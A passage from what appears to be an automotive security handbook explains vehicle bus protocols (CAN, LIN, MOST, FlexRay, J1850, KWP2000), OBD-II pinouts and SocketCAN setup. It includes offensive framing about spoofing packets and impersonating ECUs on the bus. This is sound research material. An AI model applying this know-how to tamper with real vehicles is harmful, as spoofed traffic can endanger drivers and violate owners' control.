CAN runs on two wires: CAN high (CANH) and CAN low (CANL). 
CAN uses differential signaling (with the exception of low-speed CAN, dis-
cussed in “The GMLAN Bus” on page 20), which means that when a signal 
comes in, CAN raises the voltage on one line and drops the other line an 
equal amount (see Figure 2-1). Differential signaling is used in environ-
ments that must be fault tolerant to noise, such as in automotive systems 
and manufacturing.

Figure 2-1: CAN differential signaling
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Figure 2-1 shows a signal captured using a PicoScope, which listens to 
both CANH (darker lines at the top of the graph) and CANL (lighter lines at 
the bottom of the graph). Notice that when a bit is transmitted on the CAN 
bus, the signal will simultaneously broadcast both 1V higher and lower. The 
sensors and ECUs have a transceiver that checks to ensure both signals are 
triggered; if they are not, the transceiver rejects the packet as noise.

The two twisted-pair wires make up the bus and require the bus to be 
terminated on each end. There’s a 120-ohm resistor across both wires on 
the termination ends. If the module isn’t on the end of the bus, it doesn’t 
have to worry about termination. As someone who may tap into the lines, 
the only time you’ll need to worry about termination is if you remove a ter-
minating device in order to sniff the wires.

The OBD-II Connector
Many vehicles come equipped with an OBD-II connector, also known as the 
diagnostic link connector (DLC), which communicates with the vehicle’s inter-
nal network. You’ll usually find this connector under the steering column 
or hidden elsewhere on the dash in a relatively accessible place. You may 
have to hunt around for it, but its outline looks similar to that in Figure 2-2.

DLCDLC

GasBrake

Figure 2-2: Possible locations of the OBD-II connector

In some vehicles, you’ll find these connectors behind small access pan-
els. They’ll typically be either black or white. Some are easy to access, and 
others are tucked up under the plastic. Search and you shall find!

Finding CAN Connections
CAN is easy to find when hunting through cables because its resting voltage 
is 2.5V. When a signal comes in, it’ll add or subtract 1V (3.5V or 1.5V). CAN 
wires run through the vehicle and connect between the ECUs and other 
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sensors, and they’re always in dual-wire pairs. If you hook up a multimeter 
and check the voltage of wires in your vehicle, you’ll find that they’ll be at 
rest at 2.5V or fluctuating by 1V. If you find a wire transmitting at 2.5V, it’s 
almost certainly CAN.

You should find the CANH and CANL connections on pins 6 and 14 of 
your OBD-II connector, as shown in Figure 2-3.

CAN High

CAN Low

+12Vc

Signal GroundChassis Ground

1 2 3

9 10 11 12 13

4 5 6 7

14 15 16

8

Figure 2-3: CAN pins cable view on the OBD-II connector

In the figure, pins 6 and 14 are for standard high-speed CAN lines 
(HS-CAN). Mid-speed and low-speed communications happen on 
other pins. Some cars use CAN for the mid-speed (MS-CAN) and low-
speed (LS-CAN), but many vehicles use different protocols for these 
communications. 

You’ll find that not all buses are exposed via the OBD-II connector. You 
can use wiring diagrams to help locate additional “internal” bus lines.

CAN Bus Packet Layout
There are two types of CAN packets: standard and extended. Extended pack-
ets are like standard ones but with a larger space to hold IDs.

Standard Packets

Each CAN bus packet contains four key elements:

Arbitration ID  The arbitration ID is a broadcast message that identi-
fies the ID of the device trying to communicate, though any one device 
can send multiple arbitration IDs. If two CAN packets are sent along 
the bus at the same time, the one with the lower arbitration ID wins. 
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Identifier extension (IDE)  This bit is always 0 for standard CAN.

Data length code (DLC)  This is the size of the data, which ranges 
from 0 to 8 bytes.

Data  This is the data itself. The maximum size of the data carried by 
a standard CAN bus packet can be up to 8 bytes, but some systems force 
8 bytes by padding out the packet.

Figure 2-4 shows the format of standard CAN packets.
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Figure 2-4: Format of standard CAN packets

Because CAN bus packets are broadcast, all controllers on the same 
network see every packet, kind of like UDP broadcast on Ethernet networks. 
The packets don’t carry information about which controller (or attacker) 
sent what. Because any device can see and transmit packets, it’s trivial for 
any device on the bus to simulate any other device.

Extended Packets

Extended packets are like standard ones, except that they can be chained 
together to create longer IDs. Extended packets are designed to fit inside 
standard CAN formatting in order to maintain backward compatibility. 
So if a sensor doesn’t have support for extended packets, it won’t break if 
another sensor transmits extended CAN packets on the same network. 

Standard packets also differ from extended ones in their use of flags. 
When looking at extended packets in a network dump, you’ll see that 
unlike standard packets, extended packets use substitute remote request 
(SRR) in place of the remote transmission request (RTR) with SRR set 
to 1. They’ll also have the IDE set to 1, and their packets will have an 18-bit 
identifier, which is the second part of the standard 11-bit identifier. There 
are additional CAN-style protocols that are specific to some manufactur-
ers, and they’re also backward compatible with standard CAN in much the 
same way as extended CAN.

The ISO-TP Protocol
ISO 15765-2, also known as ISO-TP, is a standard for sending packets over 
the CAN bus that extends the 8-byte CAN limit to support up to 4095 bytes 
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by chaining CAN packets together. The most common use of ISO-TP is for 
diagnostics (see “Unified Diagnostic Services” on page 54) and KWP mes-
sages (an alternative protocol to CAN), but it can also be used any time large 
amounts of data need to be transferred over CAN. The can-utils program 
includes isotptun, a proof-of-concept tunneling tool for SocketCAN that 
allows two devices to tunnel IP over CAN. (For a detailed explanation of 
how to install and use can-utils, see “Setting Up can-utils to Connect to 
CAN Devices” on page 36.)

In order to encapsulate ISO-TP into CAN, the first byte is used for 
extended addressing, leaving only 7 bytes for data per packet. Sending lots 
of information over ISO-TP can easily flood the bus, so be careful when 
using this standard for large transfers on an active bus.

The CANopen Protocol
Another example of extending the CAN protocol is the CANopen proto-
col. CANopen breaks down the 11-bit identifier to a 4-bit function code 
and 7-bit node ID—a combination known as a communication object identifier 
(COB-ID). A broadcast message on this system has 0x for both the function 
code and the node ID. CANopen is seen more in industrial settings than it 
is in automotive ones.

If you see a bunch of arbitration IDs of 0x0, you’ve found a good indica-
tor that the system is using CANopen for communications. CANopen is very 
similar to normal CAN but has a defined structure around the arbitration 
IDs. For example, heartbeat messages are in the format of 0x700 + node ID. 
CANopen networks are slightly easier to reverse and document than standard 
CAN bus. 

The GMLAN Bus
GMLAN is a CAN bus implementation by General Motors. It’s based on 
ISO 15765-2 ISO-TP, just like UDS (see “Unified Diagnostic Services” on 
page 54). The GMLAN bus consists of a single-wire low-speed and a dual-
wire high-speed bus. The low-speed bus, a single-wire CAN bus that oper-
ates at 33.33Kbps with a maximum of 32 nodes, was adopted in an attempt 
to lower the cost of communication and wiring. It’s used to transport non-
critical information for things like the infotainment center, HVAC controls, 
door locks, immobilizers, and so on. In contrast, the high-speed bus runs at 
500Kbps with a maximum of 16 nodes. Nodes in a GMLAN network relate 
to the sensors on that bus.

The SAE J1850 Protocol
The SAE J1850 protocol was originally adopted in 1994 and can still be 
found in some of today’s vehicles, for example some General Motors and 
Chrysler vehicles. These bus systems are older and slower than CAN but 
cheaper to implement. 
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There are two types of J1850 protocols: pulse width modulation (PWM) 
and variable pulse width (VPW). Figure 2-5 shows where to find PWM pins 
on the OBD-II connector. VPW uses only pin 2.

PWM +

PWM –

+12Vc

Signal GroundChassis Ground

1 2 3

9 10 11 12 13

4 5 6 7

14 15 16

8

Figure 2-5: PWM pins cable view

The speed is grouped into three classes: A, B, and C. The 10.4Kbps 
speeds of PWM and VPW are considered class A, which means they’re 
devices marketed exclusively for use in business, industrial, and commer-
cial environments. (The 10.4Kbps J1850 VPW bus meets the automotive 
industry’s requirements for low-radiating emissions.) Class B devices are 
marketed for use anywhere, including residential environments and have 
a second SAE standard implementation that can communicate at 100Kbps, 
but it’s slightly more expensive. The final implementation can operate at up 
to 1Mbps, and it’s used in class C devices. As you might expect, this third 
implementation is the most expensive, and it’s used primarily in real-time 
critical systems and media networks.

The PWM Protocol
PWM uses differential signaling on pins 2 and 10 and is mainly used by Ford. 
It operates with a high voltage of 5V and at 41.6Kbps, and it uses dual-wire 
differential signaling, like CAN. 

PMW has a fixed-bit signal, so a 1 is always a high signal and a 0 is always 
a low signal. Other than that, the communication protocol is identical to 
that of VPW. The differences are the speed, voltage, and number of wires 
used to make up the bus.
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The VPW Protocol
VPW, a single-wire bus system, uses only pin 2 and is typically used by 
General Motors and Chrysler. VPW has a high voltage of 7V and a speed 
of 10.4Kbps. 

When compared with CAN, there are some key differences in the way 
VPW interprets data. For one, because VPW uses time-dependent signaling, 
receiving 1 bit isn’t determined by just a high potential on the bus. The bit 
must remain either high or low for a set amount of time in order to be con-
sidered a single 1 bit or a 0 bit. Pulling the bus to a high position will put it 
at around 7V, while sending a low signal will put it to ground or near-ground 
levels. This bus also is at a resting, or nontransmission, stage at a near-ground 
level (up to 3V).

VPW packets use the format in Figure 2-6.

 

Header Data Bits CRC

P P P H Y Z ZK

Figure 2-6: VPW Format

The data section is a set size—always 11 bits followed by a 1-bit CRC 
validity check. Table 2-1 shows the meaning of the header bits.

Table 2-1: Meaning of Header Bits

Header bits Meaning Notes

PPP Message priority 000 = Highest, 111 = Lowest

H Header size 0 = 3 bytes, 1 = single byte

K In-frame response 0 = Required, 1 = Not allowed

Y Addressing mode 0 = Functional, 1 = Physical

ZZ Message type Will vary based on how K and Y are set

In-frame response (IFR) data may follow immediately after this mes-
sage. Normally, an end-of-data (EOD) signal consisting of 200μs-long low-
potential signal would occur just after the CRC, and if IFR data is included, 
it’ll start immediately after the EOD. If IFR isn’t being used, the EOD will 
extend to 280μs, causing an end-of-frame (EOF) signal.

The Keyword Protocol and ISO 9141-2
The Keyword Protocol 2000 (ISO 14230), also known as KWP2000, uses 
pin 7 and is common in US vehicles made after 2003. Messages sent using 
KWP2000 may contain up to 255 bytes.
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The KWP2000 protocol has two variations that differ mainly in baud 
initialization. The variations are:

•	 ISO 14230-4 KWP (5-baud init, 10.4 Kbaud)

•	 ISO 14230-4 KWP (fast init, 10.4 Kbaud)

ISO 9141-2, or K-Line, is a variation of KWP2000 seen most often in 
European vehicles. K-Line uses pin 7 and, optionally, pin 15, as shown in 
Figure 2-7. K-Line is a UART protocol similar to serial. UARTs use start bits 
and may include a parity bit and a stop bit. (If you’ve ever set up a modem, 
you should recognize this terminology.) 

KWP  K-Line

KWP L-Line

+12Vc

Signal GroundChassis Ground

1 2 3

9 10 11 12 13

4 5 6 7

14 15 16

8

Figure 2-7: KWP K-Line pins cable view

Figure 2-8 shows the protocol’s packet layout. Unlike CAN packets, 
K-Line packets have a source (transmitter) and a destination (receiver) 
address. K-Line can use the same or a similar parameter ID (PID) request 
structure as CAN. (For more on PIDs, see “Unified Diagnostic Services” on 
page 54.)

Header (3 bytes) Data (up to 7 bytes) CRC

Priority TransmitterReceiver

Figure 2-8: KWP K-Line packet layout
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The Local Interconnect Network Protocol
The Local Interconnect Network (LIN) is the cheapest of the vehicle protocols. 
It was designed to complement CAN. It has no arbitration or priority code; 
instead, a single master node does all the transmission. 

LIN can support up to 16 slave nodes that primarily just listen to the 
master node. They do need to respond on occasion, but that’s not their 
main function. Often the LIN master node is connected to a CAN bus. 

The maximum speed of LIN is 20Kbps. LIN is a single-wire bus that 
operates at 12V. You won’t see LIN broken out to the OBD connector, but 
it’s often used instead of direct CAN packets to handle controls to simple 
devices, so be aware of its existence.

A LIN message frame includes a header, which is always sent by the 
master, and a response section, which may be sent by master or slave (see 
Figure 2-9).

Header Response

ChecksumData (0–8 bytes)Break IDSYNC

Figure 2-9: LIN format

The SYNC field is used for clock synchroniziation. The ID represents 
the message contents—that is, the type of data being transmitted. The ID 
can contain up to 64 possibilities. ID 60 and 61 are used to carry diagnostic 
information. 

When reading diagnostic information, the master sends with ID 60 
and the slave responds with ID 61. All 8 bytes are used in diagnostics. The 
first byte is called the node address for diagnostics (NAD). The first half 
of the byte range (that is, 1–127) is defined for ISO-compliant diagnostics, 
while 128–255 can be specific to that device.

The MOST Protocol
The Media Oriented Systems Transport (MOST) protocol is designed for multi
media devices. Typically, MOST is laid out in a ring topology, or virtual star, 
that supports a maximum of 64 MOST devices. One MOST device acts as the 
timing master, which continuously feeds frames into the ring. 

MOST runs at approximately 23 Mbaud and supports up to 15 uncom-
pressed CD quality audio or MPEG1 audio/video channels. A separate con-
trol channel runs at 768 Kbaud and sends configuration messages to the 
MOST devices. 

MOST comes in three speeds: MOST25, MOST50, and MOST150. 
Standard MOST, or MOST25, runs on plastic optical fiber (POF). Trans​mis-
sion is done through the red light wavelength at 650 nm using an LED. A 
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similar protocol, MOST50, doubles the bandwidth and increases the frame 
length to 1025 bits. MOST50 traffic is usually transported on unshielded 
twisted-pair (UTP) cables instead of optical fiber. Finally, MOST150 imple-
ments Ethernet and increases the frame rate to 3072 bits or 150Mbps—
approximately six times the bandwidth of MOST25.

Each MOST frame has three channels:

Synchronous  Streamed data (audio/video)

Asynchronous  Packet distributed data (TCP/IP)

Control  Control and low-speed data (HMI)

In addition to a timing master, a MOST network master automatically 
assigns addresses to devices, which allows for a kind of plug-and-play struc-
ture. Another unique feature of MOST is that, unlike other buses, it routes 
packets through separate inport and outport ports.

MOST Network Layers
Unless your goal is to hack a car’s video or audio stream, the MOST pro-
tocol may not be all that interesting to you. That said, MOST does allow 
access to the in-vehicle microphone or cell system, as well as traffic informa-
tion that’s likely to be of interest to malware authors.

Figure 2-10 shows how MOST is divided up amongst the seven layers of 
the Open Systems Interconnection (OSI) model that standardizes commu-
nication over networks. If you’re familiar with other media-based network-
ing protocols, then MOST may look familiar.
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Application Socket

Network Service
Basic Level

MOST Network Interface Controller

Optical Physical Layer
Electrical Physical Layer

Stream Service

�

�

�

�

�

�

�

Figure 2-10: MOST divided into the seven layers of the OSI model. The OSI layers are in 
the left column.

MOST Control Blocks
In MOST25, a block consists of 16 frames. A frame is 512 bits and looks like 
the illustration in Figure 2-11.
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Preamble
4 bits

Boundary
4 bits

Synchronous Data Asynchronous Data Control
2 bytes

Frame 
Control
1 byte

Parity
1 bit

Figure 2-11: MOST25 frame

Synchronous data contains 6 to 15 quadlets (each quadlet is 4 bytes), 
and asynchronous data contains 0 to 9 quadlets. A control frame is 2 bytes, 
but after combining a full block, or 16 frames, you end up with 32 bytes of 
control data.

An assembled control block is laid out as shown in Figure 2-12.

Target
2 bytes

Source
2 bytes

Message
Type

1 byte

Data Area
17 bytes

CRC
2 bytes

Ack
2 bytes

Reserved
2 bytes

Arb ID
4 bytes

Figure 2-12: Assembled control block layout

The data area contains the FblockID, InstID, FktID, OP Type, Tel ID, 
Tel Len, and 12 bytes of data. FblockIDs are the core component IDs, or 
function blocks. For example, an FblockID of 0x52 might be the navigation 
system. InstID is the instance of the function block. There can be more 
than one core function, such as having two CD changes. InstID differen-
tiates which core to talk to. FktID is used to query higher-level function 
blocks. For instance, a FktID of 0x0 queries a list of function IDs supported 
by the function block. OP Type is the type of operation to perform, get, set, 
increment, decrement, and so forth. The Tel ID and Len are the type of 
telegram and length, respectively. Telegram types represent a single trans-
fer or a multipacket transfer and the length of the telegram itself.

MOST50 has a similar layout to MOST25 but with a larger data section.
MOST150 provides two additional channels: Ethernet and Isochronous. 
Ethernet works like normal TCP/IP and Appletalk setups. Isochronous has 
three mechanisms: burst mode, constant rate, and packet streaming.

Hacking MOST
MOST can be hacked from a device that already supports it, such as through 
a vehicle’s infotainment unit or via an onboard MOST controller. The Linux-
based project most4linux provides a kernel driver for MOST PCI devices 
and, as of this writing, supports Siemens CT SE 2 and OASIS Silicon Systems 
or SMSC PCI cards. The most4linux driver allows for user-space communi-
cation over the MOST network and links to the Advanced Linux Sound 
Architecture (ALSA) framework to read and write audio data. At the 
moment, most4linux should be considered alpha quality, but it includes 
some example utilities that you may be able to build upon, namely:

most_aplay  Plays a .wav file

ctrl_tx  Sends a broadcast control message and checks status
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sync_tx  Constantly transmits

sync_rx  Constantly receives

The current most4linux driver was written for 2.6 Linux kernels, so you 
may have your work cut out for you if you want to make a generic sniffer. 
MOST is rather expensive to implement, so a generic sniffer won’t be cheap.

The FlexRay Bus
FlexRay is a high-speed bus that can communicate at speeds of up to 
10Mbps. It’s geared for time-sensitive communication, such as drive-by-
wire, steer-by-wire, brake-by-wire, and so on. FlexRay is more expensive to 
implement than CAN, so most implementations use FlexRay for high-end 
systems, CAN for midrange, and LIN for low-cost devices. 

Hardware
FlexRay uses twisted-pair wiring but can also support a dual-channel 
setup, which can increase fault tolerance and bandwidth. However, most 
FlexRay implementations use only a single pair of wiring similar to CAN 
bus implementations.

Network Topology
FlexRay supports a standard bus topology, like CAN bus, where many ECUs 
run off a twisted-pair bus. It also supports star topology, like Ethernet, that 
can run longer segments. When implemented in the star topology, a FlexRay 
hub is a central, active FlexRay device that talks to the other nodes. In a bus 
layout, FlexRay requires proper resistor termination, as in a standard CAN 
bus. The bus and star topologies can be combined to create a hybrid layout 
if desired.

Implementation
When creating a FlexRay network, the manufacturer must tell the devices 
about the network setup. Recall that in a CAN network each device just needs 
to know the baud rate and which IDs it cares about (if any). In a bus layout, 
only one device can talk on the bus at a time. In the case of the CAN bus, the 
order of who talks first on a collision is determined by the arbitration ID. 

In contrast, when FlexRay is configured to talk on a bus, it uses some-
thing called a time division multiple access (TDMA) scheme to guarantee deter-
minism: the rate is always the same (deterministic), and the system relies on 
the transmitters to fill in the data as the packets pass down the wire, similar 
to the way cellular networks like GSM operate. FlexRay devices don’t auto-
matically detect the network or addresses on the network, so they must have 
that information programed in at manufacturing time. 

While this static addressing approach cuts down on cost during manu-
facturing, it can be tricky for a testing device to participate on the bus 
without knowing how the network is configured, as a device added to your 
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FlexRay network won’t know what data is designed to go into which slots. 
To address this problem, specific data exchange formats, such as the Field 
Bus Exchange Format (FIBEX), were designed during the development of 
FlexRay.

FIBEX is an XML format used to describe FlexRay, as well as CAN, 
LIN, and MOST network setups. FIBEX topology maps record the ECUs 
and how they are connected via channels, and they can implement gateways 
to determine the routing behavior between buses. These maps can also 
include all the signals and how they’re meant to be interpreted. 

FIBEX data is used during firmware compile time and allows develop-
ers to reference the known network signals in their code; the compiler 
handles all the placement and configuration. To view a FIBEX, download 
FIBEX Explorer from http://sourceforge.net/projects/fibexplorer/.

FlexRay Cycles
A FlexRay cycle can be viewed as a packet. The length of each cycle is 
determined at design time and should consist of four parts, as shown in 
Figure 2-13.

Static Dynamic Symbol Window Idle

Figure 2-13: Four parts of a FlexRay cycle

The static segment contains reserved slots for data that always represent 
the same meaning. The dynamic segment slots contain data that can have 
different representations. The symbol window is used by the network for 
signaling, and the idle segment (quiet time) is used for synchronization.

The smallest unit of time on FlexRay is called a macrotick, which is typi-
cally one millisecond. All nodes are time synced, and they trigger their 
macrotick data at the same time. 

The static section of a FlexRay cycle contains a set amount of slots to 
store data, kind of like empty train cars. When an ECU needs to update 
a static data unit, it fills in its defined slot or car; every ECU knows which 
car is defined for it. This system works because all of the participants on a 
FlexRay bus are time synchronized.

The dynamic section is split up into minislots, typically one macrotick 
long. The dynamic section is usually used for less important, intermittent 
data, such as internal air temperature. As a minislot passes, an ECU may 
choose to fill the minislots with data. If all the minislots are full, the ECU 
must wait for the next cycle.

In Figure 2-14, the FlexRay cycles are represented as train cars. 
Transmitters responsible for filling in information for static slots do so 
when the cycle passes, but dynamic slots are filled in on a first-come, first-
served basis. All train cars are the same size and represent the time deter-
ministic properties of FlexRay.

http://sourceforge.net/projects/fibexplorer/
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Figure 2-14: FlexRay train representing cycles

The symbol window isn’t normally used directly by most FlexRay devices, 
which means that when thinking like a hacker, you should definitely mess 
with this section. FlexRay clusters work in states that are controlled by the 
FlexRay state manager. According to AUTOSAR 4.2.1 Standard, these states 
are as follows: ready, wake-up, start-up, halt-req, online, online-passive, 
keyslot-only, and low-number-of-coldstarters. 

While most states are obvious, some need further explanation. 
Specifically, online is the normal communication state, while online-
passive should only occur when there are synchronization errors. In online-
passive mode, no data is sent or received. Keyslot-only means that data can 
be transmitted only in the key slots. Low-number-of-coldstarters means that 
the bus is still operating in full communication mode but is relying on the 
sync frames only. There are additional operational states, too, such as config, 
sleep, receive only, and standby.

Packet Layout
The actual packet that FlexRay uses contains several fields and fits into the 
cycle in the static or dynamic slot (see Figure 2-15). 

Header

Status
5 bits

Frame ID
11 bits

Payload
Length
7 bits

Header
CRC

11 bits

Cycle
Count
6 bits

Payload CRC

Payload Length × 2 bytes 3 bytes

Figure 2-15: FlexRay packet layout

The status bits are:

•	 Reserved bit

•	 Payload preamble indicator

•	 NULL frame indicator

•	 Sync frame indicator

•	 Startup frame indicator
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The frame ID is the slot the packet should be transmitted in when used 
for static slots. When the packet is destined for a dynamic slot (1–2047), the 
frame ID represents the priority of this packet. If two packets have the same 
signal, then the one with the highest priority wins. Payload length is the 
number in words (2 bytes), and it can be up to 127 words in length, which 
means that a FlexRay packet can carry 254 bytes of data—more than 30 
times that of a CAN packet. Header CRC should be obvious, and the cycle 
count is used as a communication counter that increments each time a com-
munication cycle starts.

One really neat thing about static slots is that an ECU can read earlier 
static slots and output a value based on those inputs in the same cycle. For 
instance, say you have a component that needs to know the position of each 
wheel before it can output any needed adjustments. If the first four slots 
in a static cycle contain each wheel position, the calibration ECU can read 
them and still have time to fill in a later slot with any adjustments.

Sniffing a FlexRay Network
As of this writing, Linux doesn’t have official support for FlexRay, but there 
are some patches from various manufacturers that add support to certain 
kernels and architectures. (Linux has FlexCAN support, but FlexCAN is a 
CAN bus network inspired by FlexRay.) 

At this time, there are no standard open source tools for sniffing a 
FlexRay network. If you need a generic tool to sniff FlexRay traffic, you cur-
rently have to go with a proprietary product that’ll cost a lot. If you want 
to monitor a FlexRay network without a FIBEX file, you’ll at least need to 
know the baud rate of the bus. Ideally, you’ll also know the cycle length (in 
milliseconds) and, if possible, the size of the cluster partitioning (static-to-
dynamic ratio). Technically, a FlexRay cluster can have up to 1048 configu-
rations with 74 parameters. You’ll find the approach to identifying these 
parameters detailed in the paper “Automatic Parameter Identification in 
FlexRay based Automotive Communication Networks” (IEEE, 2006) by 
Eric Armengaud, Andreas Steininger, and Martin Horauer. 

When spoofing packets on a FlexRay network with two channels, you 
need to simultaneously spoof both. Also, you’ll encounter FlexRay imple-
mentations called Bus Guardian that are designed to prevent flooding or 
monopolization of the bus by any one device. Bus Guardian works at the 
hardware level via a pin on the FlexRay chip typically called Bus Guardian 
Enable (BGE). This pin is often marked as optional, but the Bus Guardian 
can drive this pin too high to disable a misbehaving device.

Automotive Ethernet
Because MOST and FlexRay are expensive and losing support (the FlexRay 
consortium appears to have disbanded), most newer vehicles are moving 
to Ethernet. Ethernet implementations vary, but they’re basically the same 
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as what you’d find in a standard computer network. Often, CAN packets 
are encapsulated as UDP, and audio is transported as voice over IP (VoIP). 
Ethernet can transmit data at speeds up to 10Gbps, using nonproprietary 
protocols and any chosen topology. 

While there’s no common standard for CAN traffic, manufacturers are 
starting to use the IEEE 802.1AS Audio Video Bridging (AVB) standard. 
This standard supports quality of service (QoS) and traffic shaping, and it 
uses time-synchronized UDP packets. In order to achieve this synchroniza-
tion, the nodes follow a best master clock algorithm to determine which node 
is to be the timing master. The master node will normally sync with an 
outside timing source, such as GPS or (worst case) an on-board oscillator. 
The master syncs with the other nodes by sending timed packets (10 milli-
seconds), the slave responds with a delay request, and the time offset is calcu-
lated from that exchange.

From a researcher’s perspective, the only challenge with vehicle Ethernet 
lies in figuring out how to talk to the Ethernet. You may need to make or 
buy a custom cable to communicate with vehicle Ethernet cables because 
they won’t look like the standard twisted-pair cables that you’d find in a 
networking closet. Typically, a connector will just be wires like the ones you 
find connected to an ECU. Don’t expect the connectors to have their own 
plug, but if they do, it won’t look like an RJ-45 connector. Some exposed 
connectors are actually round, as shown in Figure 2-16.

Figure 2-16: Round Ethernet connectors

OBD-II Connector Pinout Maps
The remaining pins in the OBD-II pinout are manufacturer specific. 
Mappings vary by manufacturer, and these are just guidelines. Your pinout 
could differ depending on your make and model. For example, Figure 2-17 
shows a General Motors pinout.
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Figure 2-17: Complete OBD pinout cable view for a General Motors vehicle

Notice that the OBD connector can have more than one CAN line, such 
as a low-speed line (LS-CAN) or a mid-speed one (MS-CAN). Low-speed 
operates around 33Kbps, mid-speed is around 128Kbps, and high-speed 
(HS-CAN) is around 500Kbps.

Often you’ll use a DB9-to-OBDII connector when connecting your 
sniffer to your vehicle’s OBD-II connector. Figure 2-18 shows the plug view, 
not that of the cable.

CAN Ground

* Ground * Power

CAN Low

CAN High

* Shield

1 2 3 4 5

6 7 8 9

Not Connected

Not Connected

Not Connected

Figure 2-18: Typical DB9 connector plug view. An  
asterisk (*) means that the pin is optional. A DB9  
adapter can have as few as three pins connected.
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This pinout is a common pinout in the United Kingdom, and if you’re 
making a cable yourself, this one will be the easiest to use. However, some 
sniffers, such as many Arduino shields, expect the US-style DB9 connector 
(see Figure 2-19).

CAN High

PWM – * Power

Chassis Ground

PWM +

CAN Low

1 2 3 4 5

6 7 8 9

KWP L-Line

KWP K-Line

Signal Ground

Figure 2-19: US-style DB9 connector, plug view

The US version has more features and gives you more access to other 
OBD connectors besides just CAN. Luckily, power is pin 9 on both style con-
nectors, so you shouldn’t fry your sniffer if you happen to grab the wrong 
cable. Some sniffers, such as CANtact, have jumpers that you can set depend-
ing on which style cable you’re using.

The OBD-III Standard
OBD-III is a rather controversial evolution of the OBD-II standard. OBD-II 
was originally designed to be compliant with emissions testing (at least 
from the regulators’ perspective), but now that the powertrain control 
module (PCM) knows whether a vehicle is within guidelines, we’re still left 
with the inconvenience of the vehicle owner having to go for testing every 
other year. The OBD-III standard allows the PCM to communicate its status 
remotely without the owner’s interaction. This communication is typically 
accomplished through a roadside transponder, but cell phones and satellite 
communications work as well.

The California Air Resources Board (CARB) began testing roadside 
readers for OBD-III in 1994 and is capable of reading vehicle data from 
eight lanes of traffic traveling at 100 miles per hour. If a fault is detected in 
the system, it’ll transmit the diagnostic trouble codes (DTC) and vehicle 
identification numbers (VIN) to a nearby transponder (see “Diagnostic 
Trouble Codes” on page 52). The idea is to have the system report that 
pollutants are entering the atmosphere without having to wait up to two 
years for an emissions check.

Most implementations of OBD-III are manufacturer specific. The 
vehicle phones home to the manufacturer with faults and then contacts 
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the owner to inform them of the need for repairs. As you might imagine, 
this system has some obvious legal questions that still need to be answered, 
including the risk of mass surveillance of private property. Certainly, there’s 
lots of room for abuses by law enforcement, including speed traps, tracking, 
immobilization, and so on.

Some submitted request for proposals to integrate OBD-III into vehi-
cles claim to use transponders to store the following information:

•	 Date and time of current query

•	 Date and time of last query

•	 VIN

•	 Status, such as “OK,” “Trouble,” or “No response”

•	 Stored codes (DTCs)

•	 Receiver station number

It’s important to note that even if OBD-III sends only DTC and VIN, it’s 
trivial to add additional metadata, such as location, time, and history of the 
vehicle passing the transponder. For the most part, OBD-III is the bogey-
man under the bed. As of this writing, it has yet to be deployed with a tran-
sponder approach, although phone-home systems such as OnStar are being 
deployed to notify the car dealer of various security or safety issues.

Summary
When working on your target vehicle, you may run into a number of differ-
ent buses and protocols. When you do, examine the pins that your OBD-II 
connector uses for your particular vehicle to help you determine what tools 
you’ll need and what to expect when reversing your vehicle’s network. 

I’ve focused in this chapter on easily accessible buses via the OBD-II con-
nector, but you should also look at your vehicle wiring diagrams to determine 
where to find other bus lines between sensors. Not all bus lines are exposed 
via the OBD-II connector, and when looking for a certain packet, it may be 
easier to locate the module and bus lines leaving a specific module in order 
to reverse a particular packet. (See Chapter 7 for details on how to read wir-
ing diagrams.)
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When you begin using a CAN for vehicle 
communications, you may well find it to 

be a hodgepodge of different drivers and 
software utilities. The ideal would be to unify 

the CAN tools and their different interfaces into a 
common interface so we could easily share informa-
tion between tools. 

Luckily, there’s a set of tools with a common interface, and it’s free! If 
you have Linux or install Linux on a virtual machine (VM), you already 
have this interface. The interface, called SocketCAN, was created on the 
Open Source development site BerliOS in 2006. Today, the term SocketCAN 
is used to refer to the implementation of CAN drivers as network devices, like 
Ethernet cards, and to describe application access to the CAN bus via the net-
work socket–programming interface. In this chapter we’ll set up SocketCAN 
so that we’re more easily able to communicate with the vehicle.
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Volkswagen Group Research contributed the original SocketCAN 
implementation, which supports built-in CAN chips and card drivers, exter-
nal USB and serial CAN devices, and virtual CAN devices. The can-utils 
package provides several applications and tools to interact with the CAN 
network devices, CAN-specific protocols, and the ability to set up a virtual 
CAN environment. In order to test many of the examples in this book, 
install a recent version in a Linux VM on your system. The newest versions 
of Ubuntu have can-utils in their standard repositories. 

SocketCAN ties into the Linux networking stack, which makes it very easy 
to create tools to support CAN. SocketCAN applications can use standard C 
socket calls with a custom network protocol family, PF_CAN. This functionality 
allows the kernel to handle CAN device drivers and to interface with existing 
networking hardware to provide a common interface and user-space utilities.

Figure 3-1 compares the implementation of traditional CAN software 
with that of a unified SocketCAN. 

Socket Layer

Protocol Family
CAN

Network Device Drivers

CAN Controller

Protocol Family
Internet

Application

Protocol

Character
Device
Driver

CAN ControllerHardware

Kernel
Space

User
Space

SocketC
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N

Application

Figure 3-1: SocketCAN layout (left) and traditional CAN software (right)

With traditional CAN software, the application has its own protocol that 
typically talks to a character device, like a serial driver, and then the actual 
hardware driver. On the left of the figure, SocketCAN is implemented in the 
Linux kernel. By creating its own CAN protocol family, SocketCAN can inte-
grate with the existing network device drivers, thus enabling applications to 
treat a CAN bus interface as if it’s a generic network interface.

Setting Up can-utils to Connect to CAN Devices
In order to install can-utils, you must be running a Linux distribution from 
2008 or later or one running the 2.6.25 Linux kernel or higher. First we’ll 
install can-utils, then cover how to configure it for your particular setup.
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Installing can-utils
You should be able to use your package manager to install can-utils. Here’s 
a Debian/Ubuntu example:

$ sudo apt-get install can-utils

If you don’t have can-utils in your package manager, install it from 
source with the git command:

$ git clone https://github.com/linux-can/can-utils

As of this writing, can-utils has configure, make, and make install files, but 
in older versions, you’d just enter make to install from source.

Configuring Built-In Chipsets
The next step depends on your hardware. If you’re looking for a CAN sniffer, 
you should check the list of supported Linux drivers to ensure your device 
is compatible. As of this writing, the Linux built-in CAN drivers support the 
following chipsets:

•	 Atmel AT91SAM SoCs

•	 Bosch CC770

•	 ESD CAN-PCI/331 cards

•	 Freescale FlexCAN

•	 Freescale MPC52xx SoCs (MSCAN)

•	 Intel AN82527

•	 Microchip MCP251x

•	 NXP (Philips) SJA1000

•	 TI’s SoCs

CAN controllers, like the SJA1000, are usually built into ISA, PCI, 
and PCMCIA cards or other embedded hardware. For example, the EMS 
PCMCIA card driver implements access to its SJA1000 chip. When you 
insert the EMS PCMCIA card into a laptop, the ems_pcmcia module loads 
into the kernel, which then requires the sja1000 module and the can_dev 
module to be loaded. The can_dev module provides standard configuration 
